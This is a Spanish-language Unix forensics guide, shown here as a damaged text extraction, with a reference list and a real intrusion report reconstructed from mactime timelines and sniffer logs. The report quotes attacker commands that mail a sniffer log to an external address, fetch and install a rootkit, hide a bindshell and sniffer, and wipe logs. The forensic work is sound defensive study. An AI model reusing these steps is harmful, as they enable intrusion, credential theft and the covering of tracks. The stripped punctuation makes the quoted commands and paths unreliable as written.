5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 30: Análisis Forense de Sistemas GNU/Linux, Unix

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

